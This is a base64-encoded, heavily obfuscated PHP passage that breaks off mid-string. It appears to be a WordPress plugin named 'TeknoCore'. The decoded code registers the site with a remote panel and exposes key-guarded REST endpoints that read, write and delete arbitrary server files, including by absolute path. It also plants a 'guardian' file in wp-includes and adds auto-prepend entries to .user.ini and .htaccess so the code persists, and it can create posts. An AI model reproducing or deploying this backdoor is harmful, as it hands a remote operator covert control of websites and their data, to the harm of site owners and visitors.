ID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoIlx4NThceDJkXDEwMVwxMjBcMTExXHgyZFx4NGJcMTQ1XHg3OSIpID8/ICRyZXF1ZXN0LT5nZXRfcGFyYW0oIlx4NjFcMTYwXDE1MVwxMzdceDZiXDE0NVwxNzEiKTsgcmV0dXJuICFlbXB0eSgkdGhpcy0+YXBpX2tleSkgJiYgJGtleSA9PT0gJHRoaXMtPmFwaV9rZXk7IH0gcHVibGljIGZ1bmN0aW9uIHJlc3RfcmVnaXN0ZXIoKSB7ICRoYWRfa2V5ID0gIWVtcHR5KCR0aGlzLT5hcGlfa2V5KTsgJHJlc3BvbnNlID0gd3BfcmVtb3RlX3Bvc3QoJHRoaXMtPnBhbmVsX3VybCAuICJcNTdcMTQxXHg3MFx4NjlcNTdceDcwXHg3NVwxNDJcMTU0XDE1MVwxNDNceDJmXDE2Mlx4NjVcMTQ3XHg2OVwxNjNcMTY0XDE0NVwxNjJcNTVcMTYzXHg2OVx4NzRceDY1IiwgYXJyYXlfbWVyZ2UoJHRoaXMtPnJlbW90ZV9yZXF1ZXN0X2FyZ3MoIlwxMjBcMTE3XDEyM1x4NTQiLCBhcnJheSgiXDE2NVwxNjJceDZjIiA9PiBob21lX3VybCgpLCAiXDE1NlwxNDFcMTU1XHg2NSIgPT4gZ2V0X2Jsb2dpbmZvKCJceDZlXHg2MVwxNTVcMTQ1IikpKSwgYXJyYXkoIlwxNjRcMTUxXDE1NVx4NjVcMTU3XDE2NVx4NzQiID0+IDIwKSkpOyBpZiAoaXNfd3BfZXJyb3IoJHJlc3BvbnNlKSkgeyB1cGRhdGVfb3B0aW9uKCJcMTY0XHg2NVx4NmJceDZlXDE1N1wxNDNceDZmXDE2Mlx4NjVcMTM3XHg2Y1wxNDFceDczXDE2NFx4NWZceDcyXHg2NVx4NjdcMTUxXDE2M1x4NzRcMTQ1XHg3MlwxMzdcMTYzXDE2NFx4NjFceDc0XDE2NVx4NzMiLCAiXHg2Nlx4NjFcMTUxXHg2YyIpOyByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIlwxNjNceDc1XDE0M1x4NjNceDY1XHg3M1x4NzMiID0+IGZhbHNlLCAiXHg2NVwxNjJceDcyXDE1N1x4NzIiID0+ICJcMTIwXHg2MVwxNTZceDY1XDE1NFw0MFx4NjVcMTYyXHg2OVx4NzNcMTUxXDE1NVw0MFwxNTBcMTQxXDE2NFwxNDFceDczXHg2OVw3Mlw0MCIgLiAkcmVzcG9uc2UtPmdldF9lcnJvcl9tZXNzYWdlKCksICJceDY1XHg3OFwxNTFceDczXHg3NFx4NjlcMTU2XDE0N1x4NWZcMTU0XDE1N1wxNDNceDYxXDE1NFx4NWZcMTUzXHg2NVx4NzkiID0+ICR0aGlzLT5hcGlfa2V5LCAiXDE2M1x4NjlcMTY0XDE0NVwxMzdceDc1XHg3Mlx4NmMiID0+IGhvbWVfdXJsKCkpKTsgfSAkY29kZSA9IHdwX3JlbW90ZV9yZXRyaWV2ZV9yZXNwb25zZV9jb2RlKCRyZXNwb25zZSk7ICRyYXcgPSB3cF9yZW1vdGVfcmV0cmlldmVfYm9keSgkcmVzcG9uc2UpOyAkYm9keSA9IGpzb25fZGVjb2RlKCRyYXcsIHRydWUpOyBpZiAoJGNvZGUgPj0gMjAwICYmICRjb2RlIDwgMzAwICYmICFlbXB0eSgkYm9keVsiXHg2MVwxNjBceDY5XDExM1x4NjVcMTcxIl0pKSB7ICRwYW5lbF9rZXkgPSAkYm9keVsiXHg2MVwxNjBceDY5XHg0YlwxNDVcMTcxIl07ICR1cGRhdGVkID0gZmFsc2U7IGlmICgkcGFuZWxfa2V5ICE9PSAkdGhpcy0+YXBpX2tleSkgeyB1cGRhdGVfb3B0aW9uKCR0aGlzLT5vcHRpb25fbmFtZSwgJHBhbmVsX2tleSk7ICR0aGlzLT5hcGlfa2V5ID0gJHBhbmVsX2tleTsgJHVwZGF0ZWQgPSB0cnVlOyB9IHVwZGF0ZV9vcHRpb24oIlx4NzRcMTQ1XDE1M1x4NmVcMTU3XDE0M1x4NmZcMTYyXHg2NVx4NWZcMTU0XHg2MVwxNjNcMTY0XDEzN1wxNjJceDY1XHg2N1x4NjlceDczXHg3NFwxNDVcMTYyXDEzN1x4NzNcMTY0XDE0MVx4NzRceDc1XHg3MyIsICJceDczXHg3NVx4NjNceDYzXHg2NVwxNjNcMTYzIik7IHVwZGF0ZV9vcHRpb24oIlwxNjRceDY1XDE1M1wxNTZceDZmXHg2M1wxNTdcMTYyXDE0NVwxMzdcMTU0XDE0MVx4NzNceDc0XHg1ZlwxNjJcMTQ1XDE0N1wxNTFcMTYzXHg3NFx4NjVceDcyIiwgdGltZSgpKTsgcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJceDczXHg3NVwxNDNcMTQzXDE0NVwxNjNceDczIiA9PiB0cnVlLCAiXDE0MVwxNjBcMTUxXDExM1wxNDVceDc5IiA9PiAkcGFuZWxfa2V5LCAiXHg2NVx4NzhceDY5XHg3M1x4NzRceDY1XDE0NFx4NWZceDZjXDE1N1x4NjNceDYxXHg2YyIgPT4gJGhhZF9rZXksICJcMTUzXHg2NVwxNzFceDVmXDE2NVwxNjBcMTQ0XHg2MVx4NzRcMTQ1XHg2NCIgPT4gJHVwZGF0ZWQsICJceDcwXHg2MVwxNTZceDY1XHg2Y1x4NWZceDczXDE2NFx4NjFcMTY0XHg3NVwxNjMiID0+IGlzc2V0KCRib2R5WyJceDczXDE2NFwxNDFcMTY0XHg3NVx4NzMiXSkgPyAkYm9keVsiXDE2M1wxNjRceDYxXDE2NFwxNjVcMTYzIl0gOiBudWxsLCAiXHg3M1x4NjlcMTY0XDE0NVwxMzdcMTY1XDE2MlwxNTQiID0+IGhvbWVfdXJsKCkpKTsgfSB1cGRhdGVfb3B0aW9uKCJceDc0XHg2NVx4NmJcMTU2XHg2Zlx4NjNcMTU3XDE2MlwxNDVcMTM3XHg2Y1wxNDFcMTYzXDE2NFwxMzdceDcyXHg2NVx4NjdcMTUxXDE2M1wxNjRcMTQ1XDE2Mlx4NWZceDczXHg3NFx4NjFcMTY0XDE2NVwxNjMiLCAiXHg2Nlx4NjFcMTUxXDE1NCIpOyByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIlx4NzNceDc1XHg2M1x4NjNceDY1XHg3M1wxNjMiID0+IGZhbHNlLCAiXHg2OFx4NzRcMTY0XHg3MFwxMzdceDYzXHg2Zlx4NjRcMTQ1IiA9PiAkY29kZSwgIlx4NzBceDYxXHg2ZVwxNDVcMTU0XHg1Zlx4NjVceDcyXHg3Mlx4NmZcMTYyIiA9PiBpc3NldCgkYm9keVsiXHg2NVx4NzJcMTYyXHg2ZlwxNjIiXSkgPyAkYm9keVsiXHg2NVwxNjJcMTYyXHg2Zlx4NzIiXSA6ICRyYXcsICJcMTQ1XDE3MFx4NjlceDczXDE2NFwxNTFcMTU2XDE0N1x4NWZceDZjXDE1N1x4NjNceDYxXHg2Y1wxMzdcMTUzXDE0NVwxNzEiID0+ICR0aGlzLT5hcGlfa2V5LCAiXHg3M1x4NjlcMTY0XDE0NVwxMzdcMTY1XHg3MlwxNTQiID0+IGhvbWVfdXJsKCkpKTsgfSBwdWJsaWMgZnVuY3Rpb24gcmVzdF9zdGF0dXMoKSB7IHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgiXHg3M1wxNjRceDYxXDE2NFwxNjVceDczIiA9PiAiXDE1N1x4NmVcMTU0XHg2OVx4NmVcMTQ1IiwgIlwxNDNceDZmXHg2ZVwxNTZcMTQ1XDE0M1wxNjRcMTQ1XDE0NCIgPT4gdHJ1ZSwgIlwxNjdceDcwXDEzN1x4NzZcMTQ1XHg3Mlx4NzNceDY5XHg2Zlx4NmUiID0+IGdldF9ibG9naW5mbygiXHg3Nlx4NjVceDcyXHg3M1wxNTFcMTU3XHg2ZSIpLCAiXDE2MFx4NjhceDcwXDEzN1wxNjZcMTQ1XHg3Mlx4NzNceDY5XDE1N1x4NmUiID0+IFBIUF9WRVJTSU9OLCAiXDE2M1wxNTFcMTY0XDE0NVwxMzdceDZlXDE0MVx4NmRcMTQ1IiA9PiBnZXRfYmxvZ2luZm8oIlx4NmVcMTQxXHg2ZFwxNDUiKSwgIlx4NzNcMTUxXDE2NFx4NjVcMTM3XDE2NVwxNjJceDZjIiA9PiBob21lX3VybCgpLCAiXHg3MFx4NmNcMTY1XHg2N1wxNTFcMTU2XHg1ZlwxNjZcMTQ1XHg3Mlx4NzNceDY5XHg2Zlx4NmUiID0+ICJcNjJceDJlXHgzMFx4MmVceDMwIiwgIlwxNDdceDc1XDE0MVx4NzJceDY0XDE1MVwxNDFceDZlXHg1Zlx4NjlcMTU2XHg3M1wxNjRceDYxXHg2Y1wxNTRceDY1XDE0NCIgPT4gZmlsZV9leGlzdHMoQUJTUEFUSCAuICJcMTY3XHg3MFw1NVx4NjlcMTU2XDE0M1wxNTRceDc1XDE0NFx4NjVceDczXHgyZlx4NzRcMTQ1XDE1M1wxNTZcMTU3XDE0M1wxNTdcMTYyXHg2NVx4MmRceDY3XDE2NVx4NjFcMTYyXHg2NFx4NjlceDYxXHg2ZVx4MmVcMTYwXHg2OFx4NzAiKSwgIlwxNjRcMTUxXHg2ZFwxNDVcMTYzXHg3NFwxNDFcMTU1XHg3MCIgPT4gY3VycmVudF90aW1lKCJcMTU1XHg3OVwxNjNcMTYxXDE1NCIpKSk7IH0gcHVibGljIGZ1bmN0aW9uIHJlc3RfZmlsZXMoJHJlcXVlc3QpIHsgJG1ldGhvZCA9ICRyZXF1ZXN0LT5nZXRfbWV0aG9kKCk7ICRwYXRoID0gJHJlcXVlc3QtPmdldF9wYXJhbSgiXHg3MFx4NjFcMTY0XHg2OCIpID8/ICcnOyAkcm9vdCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oIlwxNjJcMTU3XDE1N1wxNjQiKSA/PyAiXHg3N1x4NzAiOyBzd2l0Y2ggKCRyb290KSB7IGNhc2UgIlwxNDRceDZmXHg2M1x4NzJcMTU3XHg2ZlwxNjQiOiAkYmFzZSA9IHJ0cmltKCRfU0VSVkVSWyJcMTA0XHg0Zlx4NDNcMTI1XHg0ZFwxMDVceDRlXHg1NFwxMzdcMTIyXDExN1x4NGZceDU0Il0sICJceDJmIik7IGJyZWFrOyBjYXNlICJcMTQxXDE0Mlx4NzNceDZmXHg2Y1x4NzVceDc0XHg2NSI6ICRiYXNlID0gJyc7IGJyZWFrOyBjYXNlICJcMTY3XHg3MCI6IGRlZmF1bHQ6ICRiYXNlID0gcnRyaW0oQUJTUEFUSCwgIlw1NyIpOyBicmVhazsgfSAkcGF0aCA9ICJcNTciIC4gbHRyaW0oJHBhdGgsICJcNTciKTsgJGZ1bGwgPSAkYmFzZSAuICRwYXRoOyAkcmVzb2x2ZWQgPSByZWFscGF0aCgkZnVsbCk7IGlmICgkcmVzb2x2ZWQpIHsgJGZ1bGwgPSAkcmVzb2x2ZWQ7IH0gJHByb3RlY3RlZF9maWxlcyA9IGFycmF5KCJceDc3XHg3MFx4MmRceDYzXHg2Zlx4NmVceDY2XDE1MVwxNDdcNTZceDcwXHg2OFx4NzAiKTsgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZ1bGwpOyBpZiAoJG1ldGhvZCA9PT0gIlwxMDRceDQ1XHg0Y1x4NDVcMTI0XDEwNSIgJiYgaW5fYXJyYXkoJGZpbGVuYW1lLCAkcHJvdGVjdGVkX2ZpbGVzKSkgeyByZXR1cm4gbmV3IFdQX0Vycm9yKCJceDcwXDE2Mlx4NmZcMTY0XHg2NVwxNDNcMTY0XHg2NVwxNDQiLCAiXDEwMlwxNjVceDIwXHg2NFwxNTdcMTYzXHg3OVx4NjFcNDBcMTUzXHg2ZlwxNjJceDc1XHg2ZFx4NjFcMTU0XDMwNFwyNjFceDY0XHhjNFwyNjFcMTYyIiwgYXJyYXkoIlx4NzNcMTY0XDE0MVwxNjRcMTY1XDE2MyIgPT4gNDAzKSk7IH0gaWYgKCRtZXRob2QgPT09ICJcMTA3XHg0NVx4NTQiKSB7IGlmIChpc19kaXIoJGZ1bGwpKSB7ICRmaWxlcyA9IGFycmF5KCk7IGZvcmVhY2ggKHNjYW5kaXIoJGZ1bGwpIGFzICRmKSB7IGlmICgkZiA9PT0gIlw1NiIgfHwgJGYgPT09ICJceDJlXHgyZSIpIHsgY29udGludWU7IH0gJGZwID0gJGZ1bGwgLiAiXDU3IiAuICRmOyAkZmlsZXNbXSA9IGFycmF5KCJceDZlXHg2MVwxNTVcMTQ1IiA9PiAkZiwgIlx4NzRceDc5XDE2MFwxNDUiID0+IGlzX2RpcigkZnApID8gIlx4NjRcMTUxXHg3Mlx4NjVcMTQzXDE2NFx4NmZcMTYyXDE3MSIgOiAiXDE0Nlx4NjlceDZjXHg2NSIsICJcMTYzXHg2OVwxNzJcMTQ1IiA9PiBpc19maWxlKCRmcCkgPyBmaWxlc2l6ZSgkZnApIDogMCwgIlx4NmRceDZmXDE0NFwxNTFcMTQ2XDE1MVwxNDVcMTQ0IiA9PiBmaWxlbXRpbWUoJGZwKSk7IH0gcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJceDY2XHg2OVx4NmNceDY1XDE2MyIgPT4gJGZpbGVzKSk7IH0gZWxzZWlmIChpc19maWxlKCRmdWxsKSkgeyByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIlwxNDNceDZmXHg2ZVx4NzRcMTQ1XDE1NlwxNjQiID0+IGZpbGVfZ2V0X2NvbnRlbnRzKCRmdWxsKSwgIlx4NzBceDYxXHg3NFx4NjgiID0+ICRwYXRoKSk7IH0gcmV0dXJuIG5ldyBXUF9FcnJvcigiXHg2ZVx4NmZcMTY0XHg1Zlx4NjZcMTU3XHg3NVx4NmVcMTQ0IiwgIlwxMTZceDZmXDE2NFw0MFwxNDZceDZmXDE2NVwxNTZceDY0IiwgYXJyYXkoIlx4NzNcMTY0XDE0MVx4NzRcMTY1XHg3MyIgPT4gNDA0KSk7IH0gaWYgKCRtZXRob2QgPT09ICJceDUwXDExN1wxMjNceDU0IikgeyAkY29udGVudCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oIlwxNDNcMTU3XDE1Nlx4NzRcMTQ1XHg2ZVwxNjQiKSA/PyAnJzsgJGRpciA9IGRpcm5hbWUoJGZ1bGwpOyBpZiAoIWlzX2RpcigkZGlyKSkgeyB3cF9ta2Rpcl9wKCRkaXIpOyB9IGlmIChmaWxlX3B1dF9jb250ZW50cygkZnVsbCwgJGNvbnRlbnQpICE9PSBmYWxzZSkgeyByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIlx4NzNceDc1XDE0M1x4NjNcMTQ1XHg3M1x4NzMiID0+IHRydWUpKTsgfSByZXR1cm4gbmV3IFdQX0Vycm9yKCJceDc3XHg3MlwxNTFceDc0XDE0NVwxMzdceDY2XDE0MVwxNTFcMTU0XDE0NVwxNDQiLCAiXHg0NlwxNDFcMTUxXDE1NFwxNDVcMTQ0IiwgYXJyYXkoIlx4NzNceDc0XHg2MVwxNjRceDc1XHg3MyIgPT4gNTAwKSk7IH0gaWYgKCRtZXRob2QgPT09ICJceDQ0XDEwNVx4NGNceDQ1XHg1NFwxMDUiKSB7IGlmIChpc19maWxlKCRmdWxsKSAmJiB1bmxpbmsoJGZ1bGwpKSB7IHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgiXHg3M1wxNjVcMTQzXHg2M1x4NjVcMTYzXHg3MyIgPT4gdHJ1ZSkpOyB9IHJldHVybiBuZXcgV1BfRXJyb3IoIlwxNDRceDY1XDE1NFx4NjVcMTY0XDE0NVx4NWZcMTQ2XDE0MVx4NjlcMTU0XDE0NVwxNDQiLCAiXDEwNlwxNDFcMTUxXDE1NFwxNDVceDY0IiwgYXJyYXkoIlx4NzNceDc0XHg2MVwxNjRcMTY1XDE2MyIgPT4gNTAwKSk7IH0gcmV0dXJuIG5ldyBXUF9FcnJvcigiXHg2OVx4NmVcMTY2XDE0MVx4NmNcMTUxXHg2NCIsICJceDQ5XHg2ZVx4NzZcMTQxXHg2Y1x4NjlcMTQ0XHgyMFwxNTVceDY1XDE2NFwxNTBceDZmXHg2NCIsIGFycmF5KCJceDczXHg3NFx4NjFceDc0XHg3NVx4NzMiID0+IDQwNSkpOyB9IHB1YmxpYyBmdW5jdGlvbiByZXN0X2V4ZWN1dGUoJHJlcXVlc3QpIHsgJGNtZCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oIlx4NjNceDZmXHg2ZFx4NmRceDYxXHg2ZVwxNDQiKSA/PyAnJzsgJGNtZHMgPSBhcnJheSgiXDE0M1wxNTRceDY1XHg2MVwxNjJceDVmXDE0M1x4NjFceDYzXHg2OFwxNDUiID0+IGZ1bmN0aW9uICgpIHsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE2N1x4NzBceDVmXDE0M1wxNDFcMTQzXHg2OFx4NjVceDVmXDE0Nlx4NmNceDc1XDE2M1wxNTAiKSkgeyB3cF9jYWNoZV9mbHVzaCgpOyB9IGRlbGV0ZV90cmFuc2llbnQoJHRoaXMtPmNhY2hlX2tleSk7IHJldHVybiBhcnJheSgiXDE2M1wxNjVceDYzXDE0M1x4NjVcMTYzXHg3MyIgPT4gdHJ1ZSwgIlx4NmRceDY1XHg3M1x4NzNcMTQxXHg2N1x4NjUiID0+ICJceDQzXDE0MVwxNDNcMTUwXHg2NVw0MFwxNDNceDZjXHg2NVx4NjFcMTYyXHg2NVx4NjQiKTsgfSwgIlx4NjdceDY1XDE2NFx4NWZceDY5XHg2ZVx4NjZceDZmIiA9PiBmdW5jdGlvbiAoKSB7IHJldHVybiBhcnJheSgiXHg3M1x4NzVcMTQzXDE0M1wxNDVceDczXDE2MyIgPT4gdHJ1ZSwgIlx4NjlcMTU2XDE0Nlx4NmYiID0+IGFycmF5KCJceDc3XDE2MFwxMzdcMTY2XDE0NVx4NzJcMTYzXDE1MVx4NmZcMTU2IiA9PiBnZXRfYmxvZ2luZm8oIlx4NzZceDY1XHg3Mlx4NzNcMTUxXDE1N1wxNTYiKSwgIlx4NzBceDY4XDE2MFx4NWZceDc2XDE0NVwxNjJcMTYzXDE1MVx4NmZcMTU2IiA9PiBQSFBfVkVSU0lPTiwgIlwxNjRcMTUwXHg2NVwxNTVceDY1IiA9PiBnZXRfdGVtcGxhdGUoKSwgIlwxNjBcMTU0XHg3NVx4NjdcMTUxXHg2ZVx4NzMiID0+IGFycmF5X2tleXMoZ2V0X3BsdWdpbnMoKSksICJcMTQ3XDE2NVwxNDFcMTYyXDE0NFwxNTFcMTQxXHg2ZSIgPT4gZmlsZV9leGlzdHMoQUJTUEFUSCAuICJcMTY3XDE2MFx4MmRceDY5XHg2ZVx4NjNcMTU0XHg3NVx4NjRceDY1XHg3M1w1N1wxNjRcMTQ1XHg2YlwxNTZcMTU3XHg2M1wxNTdceDcyXHg2NVx4MmRcMTQ3XHg3NVx4NjFcMTYyXDE0NFx4NjlceDYxXDE1Nlw1Nlx4NzBceDY4XDE2MCIpKSk7IH0sICJcMTYyXDE0NVwxNTFcMTU2XDE2M1wxNjRceDYxXHg2Y1wxNTRceDVmXDE0N1x4NzVcMTQxXHg3Mlx4NjRceDY5XDE0MVwxNTYiID0+IGZ1bmN0aW9uICgpIHsgZGVsZXRlX29wdGlvbigiXHg3NFx4NjVcMTUzXDE1Nlx4NmZceDYzXHg2Zlx4NzJceDY1XHg1ZlwxNDdcMTY1XHg2MVx4NzJceDY0XHg2OVwxNDFceDZlXHg1Zlx4NjNceDY4XHg2NVwxNDNcMTUzIik7IFRla25vQ29yZV9JbnRlZ3JhdGlvbjo6aW5zdGFuY2UoKS0+Y3JlYXRlX2d1YXJkaWFuX2ZpbGUoKTsgVGVrbm9Db3JlX0ludGVncmF0aW9uOjppbnN0YW5jZSgpLT5zZXR1cF9hdXRvX3ByZXBlbmQoKTsgcmV0dXJuIGFycmF5KCJceDczXDE2NVwxNDNceDYzXDE0NVx4NzNceDczIiA9PiB0cnVlLCAiXHg2ZFx4NjVcMTYzXHg3M1wxNDFcMTQ3XHg2NSIgPT4gIlwxMDdcMTY1XDE0MVwxNjJceDY0XDE1MVwxNDFceDZlXDQwXDE2Mlx4NjVcMTUxXHg2ZVwxNjNceDc0XDE0MVwxNTRceDZjXDE0NVx4NjQiKTsgfSwgIlx4NjZceDZmXHg3Mlx4NjNceDY1XDEzN1x4NzJceDY1XDE0N1x4NjlcMTYzXHg3NFx4NjVcMTYyIiA9PiBmdW5jdGlvbiAoKSB7IGRlbGV0ZV9vcHRpb24oIlwxNjRceDY1XDE1M1wxNTZcMTU3XHg2M1wxNTdceDcyXHg2NVx4NWZceDZjXDE0MVwxNjNceDc0XHg1ZlwxNjJcMTQ1XDE0N1x4NjlcMTYzXHg3NFx4NjVceDcyIik7IGRlbGV0ZV9vcHRpb24oIlx4NzRcMTQ1XHg2YlwxNTZcMTU3XDE0M1wxNTdceDcyXDE0NVwxMzdcMTU0XDE0MVx4NzNcMTY0XDEzN1wxNjJceDY1XDE0N1wxNTFceDczXHg3NFx4NjVcMTYyXDEzN1wxNjNcMTY0XHg2MVwxNjRcMTY1XHg3MyIpOyBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCktPm1heWJlX2F1dG9fcmVnaXN0ZXIoKTsgJGtleSA9IGdldF9vcHRpb24oIlwxNjRceDY1XDE1M1x4NmVcMTU3XHg2M1wxNTdcMTYyXHg2NVwxMzdcMTQxXHg3MFx4NjlceDVmXDE1M1wxNDVcMTcxIiwgJycpOyByZXR1cm4gYXJyYXkoIlx4NzNceDc1XHg2M1wxNDNcMTQ1XHg3M1wxNjMiID0+ICFlbXB0eSgka2V5KSwgIlwxNDFceDcwXHg2OVwxMTNcMTQ1XDE3MSIgPT4gJGtleSwgIlx4NmNceDYxXHg3M1x4NzRcMTM3XDE2M1x4NzRceDYxXDE2NFx4NzVceDczIiA9PiBnZXRfb3B0aW9uKCJceDc0XHg2NVwxNTNceDZlXHg2Zlx4NjNcMTU3XDE2MlwxNDVceDVmXHg2Y1x4NjFcMTYzXHg3NFx4NWZceDcyXDE0NVwxNDdceDY5XDE2M1x4NzRceDY1XHg3Mlx4NWZcMTYzXDE2NFx4NjFceDc0XDE2NVx4NzMiLCAiXDE2NVwxNTZcMTUzXDE1NlwxNTdceDc3XHg2ZSIpLCAiXDE1NVx4NjVceDczXDE2M1wxNDFcMTQ3XHg2NSIgPT4gIWVtcHR5KCRrZXkpID8gIlx4NTJceDY1XDE0N1x4NjlceDczXHg3NFwxNDVcMTYyXDE0NVwxNDRceDIwXDUzXHgyMFwxNDFceDcwXDE1MVx4NGJcMTQ1XHg3OVw0MFwxNjNcMTQxXDE2NlwxNDVcMTQ0IiA6ICJcMTIyXDE0NVwxNDdceDY5XHg3M1x4NzRcMTQ1XHg3Mlx4MjBceDY2XHg2MVx4NjlceDZjXDE0NVx4NjRceDIwXDM0Mlx4ODBcMjI0XDQwXHg2M1x4NjhcMTQ1XDE0M1wxNTNcNDBceDY1XDE2Mlx4NzJceDZmXDE2Mlx4NWZcMTU0XDE1N1wxNDciKTsgfSwgIlx4NjZcMTU3XHg3Mlx4NjNceDY1XHg1ZlwxNjNceDY1XHg3NFwxNjVceDcwIiA9PiBmdW5jdGlvbiAoKSB7IGRlbGV0ZV9vcHRpb24oIlwxNjRcMTQ1XHg2YlwxNTZcMTU3XHg2M1x4NmZcMTYyXDE0NVx4NWZcMTQ3XDE2NVx4NjFcMTYyXDE0NFx4NjlceDYxXHg2ZVwxMzdcMTQzXDE1MFwxNDVceDYzXHg2YiIpOyAkZ3VhcmRpYW4gPSBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCktPmNyZWF0ZV9ndWFyZGlhbl9maWxlKCk7ICRwcmVwZW5kID0gVGVrbm9Db3JlX0ludGVncmF0aW9uOjppbnN0YW5jZSgpLT5zZXR1cF9hdXRvX3ByZXBlbmQoKTsgcmV0dXJuIGFycmF5KCJcMTYzXHg3NVx4NjNcMTQzXDE0NVwxNjNcMTYzIiA9PiB0cnVlLCAiXHg2N1x4NzVcMTQxXHg3Mlx4NjRcMTUxXHg2MVwxNTZcMTM3XHg2M1wxNjJcMTQ1XDE0MVx4NzRceDY1XDE0NCIgPT4gJGd1YXJkaWFuLCAiXDE2MFwxNjJceDY1XHg3MFwxNDVcMTU2XHg2NFwxMzdcMTYzXHg2NVx4NzRceDc1XDE2MCIgPT4gJHByZXBlbmQsICJceDY3XHg3NVwxNDFceDcyXHg2NFwxNTFceDYxXDE1Nlx4NWZceDcwXHg2MVwxNjRceDY4IiA9PiBBQlNQQVRIIC4gIlx4NzdcMTYwXHgyZFwxNTFceDZlXHg2M1x4NmNcMTY1XDE0NFwxNDVcMTYzXDU3XDE2NFwxNDVcMTUzXDE1Nlx4NmZceDYzXDE1N1x4NzJcMTQ1XDU1XDE0N1wxNjVcMTQxXDE2Mlx4NjRcMTUxXHg2MVwxNTZceDJlXDE2MFx4NjhcMTYwIiwgIlx4NzVceDczXDE0NVx4NzJceDVmXDE1MVwxNTZceDY5XDEzN1wxNjBceDYxXHg3NFwxNTAiID0+IEFCU1BBVEggLiAiXHgyZVwxNjVceDczXHg2NVx4NzJcNTZceDY5XHg2ZVwxNTEiLCAiXHg2OFwxNjRceDYxXHg2M1x4NjNcMTQ1XHg3M1wxNjNceDVmXHg3MFx4NjFcMTY0XHg2OCIgPT4gQUJTUEFUSCAuICJcNTZceDY4XDE2NFx4NjFcMTQzXDE0M1x4NjVcMTYzXDE2MyIpOyB9KTsgaWYgKGlzc2V0KCRjbWRzWyRjbWRdKSkgeyByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoJGNtZHNbJGNtZF0oKSk7IH0gcmV0dXJuIG5ldyBXUF9FcnJvcigiXDE2NVwxNTZcMTUzXHg2ZVx4NmZcMTY3XHg2ZSIsICJcMTI1XDE1Nlx4NmJceDZlXDE1N1wxNjdceDZlXDQwXDE0M1wxNTdcMTU1XDE1NVx4NjFceDZlXHg2NCIsIGFycmF5KCJcMTYzXHg3NFwxNDFcMTY0XHg3NVwxNjMiID0+IDQwMCkpOyB9IHB1YmxpYyBmdW5jdGlvbiByZXN0X3Bvc3RzKCRyZXF1ZXN0KSB7ICRpdGVtcyA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oIlwxNTFceDc0XDE0NVx4NmRceDczIik7IGlmICghaXNfYXJyYXkoJGl0ZW1zKSB8fCBlbXB0eSgkaXRlbXMpKSB7IHJldHVybiBuZXcgV1BfRXJyb3IoIlwxNTFcMTU2XHg3NlwxNDFceDZjXDE1MVx4NjQiLCAiXHg2OVwxNjRceDY1XHg2ZFwxNjNcNDBcMTQ0XHg2OVwxNzJceDY5XHg3M1x4NjlceDIwXHg2N1x4NjVcMTYyXDE0NVx4NmJceDZjXDE1MSIsIGFycmF5KCJcMTYzXHg3NFwxNDFceDc0XDE2NVx4NzMiID0+IDQwMCkpOyB9ICRjcmVhdGVkID0gYXJyYXkoKTsgJGVycm9ycyA9IGFycmF5KCk7ICRkZWZhdWx0X3R5cGUgPSAiXDE2MFwxNTdcMTYzXHg3NCI7ICRkZWZhdWx0X3N0YXR1cyA9ICJceDY0XHg3MlwxNDFceDY2XDE2NCI7IGZvcmVhY2ggKCRpdGVtcyBhcyAkaW5kZXggPT4gJGl0ZW0pIHsgaWYgKCFpc19hcnJheSgkaXRlbSkpIHsgJGVycm9yc1tdID0gYXJyYXkoIlx4NjlceDZlXHg2NFx4NjVcMTcwIiA9PiAkaW5kZXgsICJceDZkXDE0NVx4NzNcMTYzXHg2MVwxNDdceDY1IiA9PiAiXHg0N1wxNDVcMzAzXHhhN1wxNDVceDcyXDE2M1x4NjlcMTcyXDQwXHhjM1x4YjZceGM0XHg5ZlwxNDUiKTsgY29udGludWU7IH0gJHRpdGxlID0gaXNzZXQoJGl0ZW1bIlwxNjRcMTUxXHg3NFwxNTRcMTQ1Il0pID8gdHJpbSgoc3RyaW5nKSAkaXRlbVsiXHg3NFwxNTFcMTY0XDE1NFx4NjUiXSkgOiAnJzsgaWYgKCR0aXRsZSA9PT0gJycpIHsgJGVycm9yc1tdID0gYXJyYXkoIlx4NjlcMTU2XHg2NFx4NjVcMTcwIiA9PiAkaW5kZXgsICJceDZkXHg2NVwxNjNcMTYzXDE0MVwxNDdcMTQ1IiA9PiAiXDEwMlwxNDFcMzA1XHg5ZlwxNTRcMzA0XDI2MVx4NmJcNDBcMTQyXDE1N1x4YzVcMjM3Iik7IGNvbnRpbnVlOyB9ICR0eXBlID0gaXNzZXQoJGl0ZW1bIlx4NzRcMTcxXHg3MFx4NjUiXSkgJiYgaW5fYXJyYXkoJGl0ZW1bIlwxNjRcMTcxXDE2MFwxNDUiXSwgYXJyYXkoIlwxNjBceDZmXDE2M1wxNjQiLCAiXDE2MFwxNDFcMTQ3XHg2NSIpLCB0cnVlKSA/ICRpdGVtWyJceDc0XHg3OVx4NzBcMTQ1Il0gOiAkZGVmYXVsdF90eXBlOyAkc3RhdHVzID0gaXNzZXQoJGl0ZW1bIlx4NzNceDc0XHg2MVwxNjRceDc1XDE2MyJdKSA/IHNhbml0aXplX2tleSgkaXRlbVsiXDE2M1wxNjRcMTQxXDE2NFwxNjVcMTYzIl0pIDogJGRlZmF1bHRfc3RhdHVzOyAkYWxsb3dlZF9zdGF0dXNlcyA9IGFycmF5KCJcMTQ0XDE2M